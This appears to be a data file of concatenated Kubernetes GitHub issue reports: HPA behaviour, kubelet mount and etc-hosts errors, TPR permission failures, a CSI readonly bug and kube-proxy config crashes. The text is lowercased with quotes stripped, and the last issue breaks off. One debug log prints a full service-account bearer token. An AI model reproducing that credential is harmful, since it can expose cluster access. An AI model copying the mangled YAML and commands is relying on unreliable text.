hpa settings are as follows\r    \r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   name: user-app-gateway-hpa\r   namespace: regress\r spec:\r   scaletargetref:\r     apiversion: apps/v1\r     kind: deployment\r     name: user-app-gateway-deploy \r   minreplicas: 1\r   maxreplicas: 3\r   targetcpuutilizationpercentage: 80\r    \r \r since the application is java, when the java application is started, the cpu is occupied very high, and each release version will start 3 pods.\r there is a way to control the pod when it starts, not to detect\r thanks\r \r \r \r

docker now supports  cpuset-cpus  and  cpuset-mem  arguments when running a container to control which cpus can execute a container.  we have been asked by some users if we plan to support this feature in kubernetes.  https://docs.docker.com/reference/run/ runtime-constraints-on-cpu-and-memory  opening an issue to gather feedback on if its desired or not.  @erictune @dchen1107

this page has a bunch of buttons at the bottom where you can deploy to oss project to a hosted provider.  would be cool if we could support this too https://github.com/wekan/wekan

i0829 20:26:57.664453       5 handlers.go:162  delete /api/v1/namespaces/e2e-tests-nettest-ke9t9/configmaps:  875.332âµs  200   kube-controller-manager/v1.4.0  linux/amd64  kubernetes/b6295c2/namespace-controller  127.0.0.1:37622       the mu character is nice but the a with a hat should be a space, how could this happen to us when go handles utf-8 natively?

what happened  :\r we're intermittently seeing containers fail to start with the following error:\r \r > i0308 06:29:40.719969 2120 server.go:664  event api.objectreference{kind:\ pod\ , namespace:\ f1536932-f7ef-40c1-9fe8-2460b9d40d46\ , name:\ 9d442dee-49e4-45a0-9522-961a3a7f925b\ , uid:\ 75614521-03c8-11e7-bd9e-0a589ce0155c\ , apiversion:\ v1\ , resourceversion:\ 20292748\ , fieldpath:\ \ } : type: 'warning' reason: 'failedsync' error syncing pod, skipping: failed to \ startcontainer\  for \ test\  with runcontainererror: \ generateruncontaineroptions: open /var/lib/kubelet/pods/75614521-03c8-11e7-bd9e-0a589ce0155c/etc-hosts: no such file or directory\ \r \r the relevant section from the kubelet log is:\r \r > message: i0313 00:44:27.007411    2570 kubelet_pods.go:107  container: 0d2af043-7d8d-4d60-815d-8fd554d8f594/ede7a353-8494-414d-bd36-3658ddc5262d/test podip: \ 10.244.124.5\  creating hosts mount: true\r > message: w0313 00:44:27.007429    2570 kubelet_pods.go:113  mount cannot be satisfied for container \ test\ , because the volume is missing: {\ tmp\  %!q bool=false  \ /opt/example/tmp\  \ \ }\r > message: w0313 00:44:27.007442    2570 kubelet_pods.go:113  mount cannot be satisfied for container \ test\ , because the volume is missing: {\ data\  %!q bool=false  \ /opt/example/data\  \ \ }\r > message: w0313 00:44:27.007448    2570 kubelet_pods.go:113  mount cannot be satisfied for container \ test\ , because the volume is missing: {\ repository\  %!q bool=false  \ /opt/example2/build\  \ \ }\r > message: w0313 00:44:27.007455    2570 kubelet_pods.go:113  mount cannot be satisfied for container \ test\ , because the volume is missing: {\ repository\  %!q bool=false  \ /opt/example/build\  \ \ }\r > message: w0313 00:44:27.007461    2570 kubelet_pods.go:113  mount cannot be satisfied for container \ test\ , because the volume is missing: {\ empty\  %!q bool=false  \ /var/run/secrets/kubernetes.io/serviceaccount\  \ \ }\r > \r > message: i0313 00:44:27.007617    2570 server.go:664  event api.objectreference{kind:\ pod\ , namespace:\ 0d2af043-7d8d-4d60-815d-8fd554d8f594\ , name:\ ede7a353-8494-414d-bd36-3658ddc5262d\ , uid:\ 7d97d999-0785-11e7-9b05-0e4eb3698dda\ , apiversion:\ v1\ , resourceversion:\ 26804276\ , fieldpath:\ spec.containers{test}\ } : type: 'normal' reason: 'pulled' successfully pulled image \ uber/android-build-environment:latest\ \r > message: i0313 00:44:27.007705    2570 server.go:664  event api.objectreference{kind:\ pod\ , namespace:\ 0d2af043-7d8d-4d60-815d-8fd554d8f594\ , name:\ ede7a353-8494-414d-bd36-3658ddc5262d\ , uid:\ 7d97d999-0785-11e7-9b05-0e4eb3698dda\ , apiversion:\ v1\ , resourceversion:\ 26804276\ , fieldpath:\ \ } : type: 'warning' reason: 'failedsync' error syncing pod, skipping: failed to \ startcontainer\  for \ test\  with runcontainererror: \ generateruncontaineroptions: open /var/lib/kubelet/pods/7d97d999-0785-11e7-9b05-0e4eb3698dda/etc-hosts: no such file or directory\ \r \r which seems to indicate the volumes haven't been mounted when the run container options are being generated.\r \r this happens infrequently so it's difficult to reproduce but it occurs dozens of times daily at our workload which involves starting hundreds of \ short lived\  pods  as opposed to long running services . unfortunately due to the nature of this workload a failure to start a pod can not be reconciled by a replication controller.\r \r anecdotally it happens more frequent for containers with large docker images such as: uber/android-build-environment:latest\r \r we've come across this similar issue in the issue tracker which mentions \ syncpod was stuck before creating mount points  even before generateruncontaineroptions \  and also \ \ i still suspect it is caused by a slow image pulling\ : https://github.com/kubernetes/kubernetes/issues/24782 which looks to be resolved by pre-pulling the image used by the kubernetes end to end test? unfortunately this isn't an option for us either.\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r aws ec2\r \r -   os    e.g. from /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1298.6.0\r version_id=1298.6.0\r build_id=2017-03-14-2119\r pretty_name=\ container linux by coreos 1298.6.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r \r -   kernel    e.g.  uname -a  :\r linux ip-10-125-45-151.ec2.internal 4.9.9-coreos-r1  1 smp tue mar 14 21:09:42 utc 2017 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux

kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-beta.1-dirty\ , gitcommit:\ 23cded36d1d20a538f97e0da05c1d2b62a6be700\ , gittreestate:\ dirty\ , builddate:\ 2017-03-20t09:11:01z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-beta.3\ , gitcommit:\ 0cd5ed469508e6dfc807ee6681561c845828917e\ , gittreestate:\ clean\ , builddate:\ 2017-03-11t04:09:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   what happened  :\r we are creating tprs inside the pod using incluster authentication. previously  version 1.5.4 and before that  they were successfully created, but using trunk kubernetes i am getting forbidden error with following logs:\r \r    \r i0321 07:50:52.754466       1 request.go:558  request body: \ {\\\ kind\\\ :\\\ thirdpartyresource\\\ ,\\\ apiversion\\\ :\\\ extensions/v1beta1\\\ ,\\\ metadata\\\ :{\\\ name\\\ :\\\ ip-node.ipcontroller.ext\\\ ,\\\ creationtimestamp\\\ :null},\\\ versions\\\ : {\\\ name\\\ :\\\ v1\\\ } }\ \ \r i0321 07:50:52.754539       1 round_trippers.go:299  curl -k -v -xpost  -h \ accept: application/json,  / \  -h \ content-type: application/json\  -h \ user-agent: ipmanager/v0.0.0  linux/amd64  kubernetes/$format\  -h \ authorization: bearer eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijkzwzhdwx0iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9zzwnyzxqubmftzsi6imrlzmf1bhqtdg9rzw4tcniymzmilcjrdwjlcm5ldgvzlmlvl3nlcnzpy2vhy2nvdw50l3nlcnzpy2utywnjb3vudc5uyw1lijoizgvmyxvsdcisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vydmljzs1hy2nvdw50lnvpzci6immyzgiyngfjltbkn2etmtflny1izjzkltayndiwywmwmdawmiisinn1yii6inn5c3rlbtpzzxj2awnlywnjb3vuddpkzwzhdwx0omrlzmf1bhqifq.dgdxuqipcdhdgqvfrdoa3qp3wj5d94z6mz1vs0-hlv5_652e6-timfwqu2yjpglokgozox4zuvzswciviplyg-zdwnlal3qrqly5h0_ixcb3elo1xlzbxxhrhahkx9v34ecsjk1ztgegkwpdnfbfcavcco8rzaqvyzcshqgj_wmwogvon_6c9a2e1x5mrgi-vi2v9gxilm_1ct92nx84zoo6tt7xz1iuxjh9wf6s1qqnygqmr4qoqkezxgvcwacezfg3v_aj7yxhtfmdzdxfypknbxe1tcg4wlrbxknwzzupswxhkuvf86deyuktuvpoqtmybsiyzlugpwq18gzz5w\  https://10.96.0.1:443/apis/extensions/v1beta1/thirdpartyresources\r i0321 07:50:52.754976       1 round_trippers.go:318  post https://10.96.0.1:443/apis/extensions/v1beta1/thirdpartyresources 403 forbidden in 0 milliseconds\r i0321 07:50:52.754986       1 round_trippers.go:324  response headers:\r i0321 07:50:52.754990       1 round_trippers.go:327      content-type: text/plain\r i0321 07:50:52.754995       1 round_trippers.go:327      x-content-type-options: nosniff\r i0321 07:50:52.755000       1 round_trippers.go:327      content-length: 111\r i0321 07:50:52.755002       1 round_trippers.go:327      date: tue, 21 mar 2017 07:50:52 gmt\r i0321 07:50:52.755017       1 request.go:896  response body: user \ system:serviceaccount:default:default\  cannot create thirdpartyresources.extensions at the cluster scope.\r i0321 07:50:52.755024       1 request.go:986  response body: \ user \\\ system:serviceaccount:default:default\\\  cannot create thirdpartyresources.extensions at the cluster scope.\ \r    \r \r   what you expected to happen  :\r resources will be created\r \r   how to reproduce it    as minimally and precisely as possible :\r create any tpr using incluster auth\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : \r   \r \r   what happened  :\r after we disabled thirdpartyresources, apiserver still try to sync resources. and report\r    third party resource sync failed: the server could not find the requested resource   \r \r   what you expected to happen  :\r not sync third party resources when it's disabled\r \r   how to reproduce it  as minimally and precisely as possible   :\r add    --runtime-config=extensions/v1beta1/thirdpartyresources=false    to apiserver arguments, and view log \r \r   anything else we need to know?  :\r    \r tail -n 500 logs/kubernetes/kube-apiserver.info | grep third\r i0628 12:49:25.230437    2621 wrap.go:75  get /apis/extensions/v1beta1/thirdpartyresources:  114.821µs  404   kube-apiserver/v1.6.4  linux/amd64  kubernetes/8f8d593  127.0.0.1:45320 \r w0628 12:49:25.230690    2621 storage_extensions.go:127  third party resource sync failed: the server could not find the requested resource\r i0628 12:49:35.231138    2621 wrap.go:75  get /apis/extensions/v1beta1/thirdpartyresources:  136.212µs  404   kube-apiserver/v1.6.4  linux/amd64  kubernetes/8f8d593  127.0.0.1:45320 \r w0628 12:49:35.231360    2621 storage_extensions.go:127  third party resource sync failed: the server could not find the requested resource\r i0628 12:49:45.231799    2621 wrap.go:75  get /apis/extensions/v1beta1/thirdpartyresources:  130.379µs  404   kube-apiserver/v1.6.4  linux/amd64  kubernetes/8f8d593  127.0.0.1:45320 \r w0628 12:49:45.232035    2621 storage_extensions.go:127  third party resource sync failed: the server could not find the requested resource\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.4\r - cloud provider or hardware configuration  : \r - os  e.g. from /etc/os-release : centos7.2\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r i can create a hpa policy for daemonset, this is not right as the daemonset do not have  replicas  and the hpa should validate this when create the hpa policy.\r \r   what you expected to happen  :\r the hpa should have some validation to make sure we cannot create hpa policy for daemonset.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. hpa file as following:\r    \r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   name: autoscale\r   namespace: default\r spec:\r   maxreplicas: 5\r   minreplicas: 2\r   scaletargetref:\r     apiversion: extensions/v1beta1\r     kind: daemonset\r     name: mysql\r   targetcpuutilizationpercentage: 10\r    \r \r 2. create the policy.\r    \r root@pc001:~/cases/ss  kubectl create -f ./hpa.yaml\r horizontalpodautoscaler \ autoscale\  created\r root@pc001:~/cases/ss  kubectl get hpa\r name        reference         targets           minpods   maxpods   replicas   age\r autoscale   daemonset/mysql   <unknown> / 10%   2         5         0          7s\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

failure cluster  f34e645e31096ece8b66  https://go.k8s.io/triage f34e645e31096ece8b66        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:stackdriverlogging\\  --minstartuppods=8 --report-dir=/workspace/_artifacts --disable-log-dump=true: exit status 1           failure cluster statistics: 1 tests failed,    4 jobs failed,    56 builds failed. failure stats cover 1 day time range '21 sep 2017 19:56 utc' to '22 sep 2017 19:56 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 4 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-statefulset | 25 |  22 sep 2017 18:59 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-statefulset/11019  | | ci-kubernetes-e2e-gce-statefulset | 21 |  22 sep 2017 18:05 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-statefulset/10915  | | ci-kubernetes-e2e-gci-gce-sd-logging | 6 |  22 sep 2017 15:41 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-sd-logging/2473  |   current status  https://go.k8s.io/triage f34e645e31096ece8b66

is this a bug report or feature request?  :\r  \r   what happened  :\r fluentd pod failed to become ready on master after upgrade from 1.8->head. \r \r logs from https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1043:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:260\r oct 27 16:30:05.440: error waiting for all pods to be running and ready: 1 / 29 pods in namespace \ kube-system\  are not in running and ready state in 10m0s\r pod                      node                 phase   grace conditions\r fluentd-gcp-v2.0.9-4pp8p bootstrap-e2e-master running        {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-27 16:02:00 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-27 16:13:10 +0000 utc reason:containersnotready message:containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-27 16:02:03 +0000 utc reason: message:} \r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:198\r    \r \r multiple cis are hitting this:\r - https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.8-master-upgrade-master\r - https://k8s-testgrid.appspot.com/sig-network gci-gce-latest-upgrade-kube-proxy-ds\r - https://k8s-testgrid.appspot.com/sig-network gci-gce-latest-downgrade-kube-proxy-ds\r \r   anything else we need to know?  :\r from the timeline, possibly caused by the fluentd hostnetwork change:\r - https://github.com/kubernetes/kubernetes/pull/54395\r - https://github.com/kubernetes/kubernetes/pull/54694\r \r @crassirostris @loburm

is this a bug report or feature request?  :\r  \r \r   what happened  :\r the  readonly  field passed to  nodepublishvolume  is never set. \r \r in https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/csi/csi_mounter.go l198:\r \r    go\r \terr = csi.nodepublishvolume \r \t\tctx,\r \t\tc.volumeid,\r \t\tc.readonly,\r \t\tdevicemountpath,\r \t\tdir,\r \t\taccessmode,\r \t\tc.volumeinfo,\r \t\tattribs,\r \t\tnodepublishsecrets,\r \t\tfstype,\r \t \r    \r \r where  c  is a  csimountmgr  object that is initialized in the  newmounter ...   method in https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/csi/csi_plugin.go l113:\r \r    go\r \tmounter := &csimountmgr{\r \t\tplugin:       p,\r \t\tk8s:          k8s,\r \t\tspec:         spec,\r \t\tpod:          pod,\r \t\tpoduid:       pod.uid,\r \t\tdrivername:   pvsource.driver,\r \t\tvolumeid:     pvsource.volumehandle,\r \t\tspecvolumeid: spec.name  ,\r \t\tcsiclient:    client,\r \t}\r    \r \r notice the  readonly  field is never set.\r \r   what you expected to happen  :\r \r the  readonly  field should be set to  pod.podspec.containers x .volumemounts x .readonly \r \r   how to reproduce it  as minimally and precisely as possible   :\r create a csi volume and set  pod.podspec.containers x .volumemounts x .readonly  to true.\r check the value of  readonly  in the csi  nodepublishvolume ...   call.\r it should be true, but is false.\r \r cc @vladimirvivien @sbezverk \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

see:  https://htmlpreview.github.io/?https://github.com/kubernetes/kubernetes/blob/head/docs/api-reference/v1/definitions.html _v1_execaction  on chrome, i'm seeing the following text under description:      command is the command line to execute inside the container, the working directory for the command is root  /  in the container’s filesystem. the command is simply exec’d, it is not run inside a shell, so traditional shell instructions  '      and the following under required:      ', etc  won’t work. to use a shell, you need to explicitly call out to that shell. exit status of 0 is treated as live/healthy and non-zero is unhealthy.      it seems obvious something goofy is happening to an example shell command here.

is this a bug report or feature request?    choose one :\r this is not a bug, just some case hpa need enhance\r \r   what happened  :\r in one case, pods cpu usage is increased by a very shot traffic request and keep long time, hpa will scale some pods to balance the traffic, but actually new created pods can't take any works and useless. but when hpa keep the useless pods, in my opinion, we need rollback scale resource replicas and no need autoscale.\r \r   what you expected to happen  :\r hpa should think about what need todo when new scaled pods are useless\r in this  pr  https://github.com/kubernetes/kubernetes/pull/33593 , hpa: consider unready pods separately. \r \r   how to reproduce it    as minimally and precisely as possible :\r    \r 1. has one pod requests.cpu=100m  and hpa\r  root@qe-dma1-master-1 ~   oc get pods -n dma1\r name                        ready     status    restarts   age\r resource-consumer-1-lc8j8   1/1       running   0          4m\r  root@qe-dma1-master-1 ~   oc get hpa -n dma1\r name                reference                            target    current   minpods   maxpods   age\r resource-consumer   deploymentconfig/resource-consumer   80%       0%        1         15        25s\r \r 2. access svc to make pod consumecpu and keep long time\r  root@qe-dma1-master-1 ~   curl --data \ millicores=800&durationsec=6000\  http://172.30.141.146:8080/consumecpu\r consumecpu\r 800 millicores\r 6000 durationsec\r \r 3. check hpa status within a long time\r  root@qe-dma1-master-1 ~   oc get pods -n dma1\r name                        ready     status    restarts   age\r resource-consumer-1-034vc   1/1       running   0          3m\r resource-consumer-1-8xxdm   1/1       running   0          3m\r resource-consumer-1-ktfc8   1/1       running   0          3m\r resource-consumer-1-lc8j8   1/1       running   0          9m\r  root@qe-dma1-master-1 ~   \r  root@qe-dma1-master-1 ~   oc get hpa -n dma1\r name                reference                            target    current   minpods   maxpods   age\r resource-consumer   deploymentconfig/resource-consumer   80%       262%      1         15        4m\r  root@qe-dma1-master-1 ~   oc get pods -n dma1\r name                        ready     status    restarts   age\r resource-consumer-1-034vc   1/1       running   0          9m\r resource-consumer-1-8xxdm   1/1       running   0          9m\r resource-consumer-1-c4crm   1/1       running   0          6m\r resource-consumer-1-fh7jg   1/1       running   0          6m\r resource-consumer-1-gmkh2   1/1       running   0          2m\r resource-consumer-1-ktfc8   1/1       running   0          9m\r resource-consumer-1-lc8j8   1/1       running   0          15m\r resource-consumer-1-m1kzh   1/1       running   0          6m\r resource-consumer-1-n505k   1/1       running   0          2m\r resource-consumer-1-zhwx5   1/1       running   0          6m\r  root@qe-dma1-master-1 ~   oc get hpa -n dma1\r name                reference                            target    current   minpods   maxpods   age\r resource-consumer   deploymentconfig/resource-consumer   80%       85%       1         15        11m\r  root@qe-dma1-master-1 ~   oc get pods -n dma1\r name                        ready     status    restarts   age\r resource-consumer-1-1ksh0   1/1       running   0          1m\r resource-consumer-1-8xxdm   1/1       running   0          20m\r resource-consumer-1-c7l57   1/1       running   0          1m\r resource-consumer-1-ktfc8   1/1       running   0          20m\r resource-consumer-1-lc8j8   1/1       running   0          26m\r resource-consumer-1-nzfrz   1/1       running   0          1m\r  root@qe-dma1-master-1 ~   \r  root@qe-dma1-master-1 ~   oc get hpa -n dma1\r name                reference                            target    current   minpods   maxpods   age\r resource-consumer   deploymentconfig/resource-consumer   80%       130%      1         15        22m\r  root@qe-dma1-master-1 ~   oc get pods -n dma1\r name                        ready     status    restarts   age\r resource-consumer-1-1ksh0   1/1       running   0          3m\r resource-consumer-1-20kqj   1/1       running   0          24s\r resource-consumer-1-8xxdm   1/1       running   0          22m\r resource-consumer-1-c7l57   1/1       running   0          3m\r resource-consumer-1-dvkkl   1/1       running   0          25s\r resource-consumer-1-j6p6q   1/1       running   0          25s\r resource-consumer-1-ktfc8   1/1       running   0          22m\r resource-consumer-1-lc8j8   1/1       running   0          28m\r resource-consumer-1-nzfrz   1/1       running   0          3m\r resource-consumer-1-x4qdv   1/1       running   0          25s\r  root@qe-dma1-master-1 ~   oc get hpa -n dma1\r name                reference                            target    current   minpods   maxpods   age\r resource-consumer   deploymentconfig/resource-consumer   80%       199%      1         15        24m\r    \r \r   anything else we need to know  :\r

hi, guys,\r \r we found an issue when performing large scale deployment test repeatedly. we have a k8s cluster with about 70 worker nodes. and our test procedure is as following:\r \r 1. creating about 2,000 deployment/pod in sequence using \ kubectl run ...\  command;\r 2. waiting until all deployment/pod enter \ running\  status;\r 3. cleaning all deployment/pod by running \ kubectl delete deployment ...\  command;\r 4. after all deployment/pod are eliminated, repeat step1, 2 and 3;\r \r the image we used is \ busybox\ , and the command to run inside docker is \ httpd\ ;\r \r we found the first time deployment of 2,000 deployment/pod are always the fastest. it costs about 12mins in our system. however, when we perform this deployment test repeatedly, the deployment progress become more and more slow. for example, in 3rd test, the time consumption for deploying 2,000 deployment/pod could be over 20mins. \r \r looks like the system was not cleaned completely before we start new test round. however, we have ensured that no pod/deployment is left in the system by checking pod list using \ kubectl get pod/deployment\  . we also checked the docker instance list in all worker nodes by running \ docker ps -a\  to ensure all docker instances have been completely removed. so we are confused about this result...\r \r did anyone meet the similar issue? very appreciative for any help or hint. thanks a lot!\r \r environment configuration:\r ------------------------------------\r -   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.0\ , gitcommit:\ 58b7c16a52c03e4a849874602be42ee71afdcab1\ , gittreestate:\ clean\ , builddate:\ 2016-12-13t13:30:32z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.0\ , gitcommit:\ 58b7c16a52c03e4a849874602be42ee71afdcab1\ , gittreestate:\ clean\ , builddate:\ 2016-12-13t13:30:32z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r -   cloud provider or hardware configuration  : 4core 8gb memory\r -   os   : suse linux enterprise server 12 sp2\r -   kernel  : linux n10k01 4.4.21-69-default\r -   docker info  :\r containers: 10\r  running: 10\r  paused: 0\r  stopped: 0\r images: 24\r server version: 1.10.3\r storage driver: btrfs\r  build version: btrfs v4.1.2+20151002\r  library version: 101\r execution driver: native-0.2\r logging driver: json-file\r plugins: \r  volume: local\r  network: bridge null host\r kernel version: 4.4.21-69-default\r operating system: suse linux enterprise server 12 sp2\r ostype: linux\r architecture: x86_64\r cpus: 4\r total memory: 7.796 gib\r name: n10k01\r id: a64i:ev5a:yx52:ga2x:byyo:nxe5:kefi:jlza:us67:ohoi:tjdd:n2xz\r warning: no swap limit support

it looks like currently with federated deployments, the federated api server will get stuck at waiting with 0 out of  n . i can only assume that this occurs because the federationa api server knows about the deployment and how many replicas there should be but isn't the one responsible for running the pods therefore stuck at 0. is there a plan to support this functionality in federated deployments?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the openstack cloud provider currently uses the name of the kubelet node to register with the api server. however the name is not guaranteed to conform to the dns-1123 subdomain spec.\r \r given a node name of  worker/925f11f3-80af-4844-a00e-f0af521779d1 , the following message appears in the kubelet logs:\r \r    \r unable to register node \ worker/925f11f3-80af-4844-a00e-f0af521779d1\  with api server: node \ worker/925f11f3-80af-4844-a00e-f0af521779d1\  is invalid: metadata.name: invalid value: \ worker/925f11f3-80af-4844-a00e-f0af521779d1\ : a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character  e.g. 'example.com', regex used for validation is 'a-z0-9? .a-z0-9?  ' \r    \r \r   what you expected to happen  :\r \r the openstack cloud provider uses the instance id instead of the instance name. this will guarantee that the id conforms the dns-1123 spec without making any assumptions on what the instance name may be.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r in the openstack console, rename a kubelet node to  kubelet/1234  and attempt to register the kubelet node to the api server.\r \r   anything else we need to know?  :\r \r   environment  : openstack newton\r - kubernetes version  use  kubectl version  : \r \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : ubuntu 14.04.5\r - kernel  e.g.  uname -a  : linux b4fdd4bc-cab9-44ff-9c99-44e91ff5b414 4.4.0-103-generic  126~14.04.1-ubuntu smp mon dec 4 19:33:04 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

copying the issue from https://github.com/kubernetes/apiextensions-apiserver/issues/11\r \r here is my crd\r \r    yaml\r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: deployments.sadlil.com\r spec:\r   group: sadlil.com\r   version: v1\r   scope: namespaced\r   names:\r     plural: deployments\r     singular: deployment\r     kind: deployment\r     shortnames:\r     - dpl\r    \r \r crd data\r \r    yaml\r apiversion: sadlil.com/v1\r kind: deployment\r metadata:\r   labels:\r     app: test-server\r   name: test-server\r   namespace: default\r spec:\r   type: hello-world\r    \r \r outputs\r \r    \r $ kubectl get deployments.sadlil.com\r name          kind\r test-server   deployment.v1.sadlil.com\r $ kubectl get dpl --v=6\r ...\r i0123 09:52:32.156898   29178 round_trippers.go:405  get https://localhost:6443/apis/extensions/v1beta1/namespaces/default/deployments?limit=500 200 ok in 10 milliseconds\r no resources found.\r    \r \r expected to see the resource list when kubectl get dpl\r \r versions\r \r    \r client version: v1.7.3\r server version: v1.7.0\r

with the latest master kube-proxy either as a standalone process or as a part of hyperkube reports the following error:\r    console\r  root@kube-3 ~   kubectl logs kube-proxy-6pvxk -n kube-system\r error: v1alpha1.kubeproxyconfiguration: featuregates: readmapcb: expect { or n, but found \ , error found in  10 byte of ...|regates\ :\ \ ,\ healthz|..., bigger context ...|24h0m0s\ },\ enableprofiling\ :false,\ featuregates\ :\ \ ,\ healthzbindaddress\ :\ 0.0.0.0:10256\ ,\ hostnameov|...\r    \r after editing kube-proxy daemonset to use version 1.9.3 image, kube-proxy stabilized.\r    console\r  root@kube-3 ~   kubectl get pods --all-namespaces\r namespace     name                                                ready     status             restarts   age\r kube-system   canal-c26j5                                         3/3       running            0          6d\r kube-system   etcd-kube-3.sbezverk.cisco.com                      1/1       running            0          6d\r kube-system   kube-apiserver-kube-3.sbezverk.cisco.com            1/1       running            0          6d\r kube-system   kube-controller-manager-kube-3.sbezverk.cisco.com   1/1       running            0          6d\r kube-system   kube-dns-7965cbc99f-gpkjk                           3/3       running            0          6d\r kube-system   kube-proxy-6pvxk                                    0/1       crashloopbackoff   1          12s\r kube-system   kube-scheduler-kube-3.sbezverk.cisco.com            1/1       running            0          6d\r    \r   \r   environment  :\r - kubernetes version  use  kubectl version  :\r    console\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 